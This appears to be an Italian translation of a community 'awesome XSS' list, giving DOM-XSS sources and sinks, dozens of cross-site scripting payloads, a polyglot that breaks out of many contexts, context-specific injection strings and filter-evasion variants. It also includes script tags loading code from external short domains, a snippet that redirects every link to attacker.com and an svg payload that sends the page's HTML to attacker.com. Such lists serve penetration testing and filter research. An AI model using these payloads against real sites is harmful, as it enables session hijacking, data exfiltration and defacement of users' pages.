
Fantastici materiali XSS
Questo repository è una raccolta di risorse XSS fantastiche. I contributi sono benvenuti e devono essere inviati tramite un issue.
Una bellissima mappa mentale XSS di Jack Masa, qui
VulnerabileNon vulnerabileFonte: Un input che può essere controllato da una fonte esterna (non attendibile).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 o successivi solo)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: Un metodo potenzialmente pericoloso che potrebbe portare a una vulnerabilità. In questo caso un XSS basato su DOM.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Questa lista completa di sink e fonti è presa da domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Ecco un polyglot XSS che ho creato e che può uscire da oltre 20 contesti:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Spiegazione di come funziona, qui
Alcuni gestori di eventi meno rilevati
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Alcuni tag HTML che userai
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Caso: <tag>Hai cercato $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Caso: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Caso: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Sì, confirm perché alert è troppo mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
Se nulla di questo funziona, dai un'occhiata alla sezione Bypass fantastici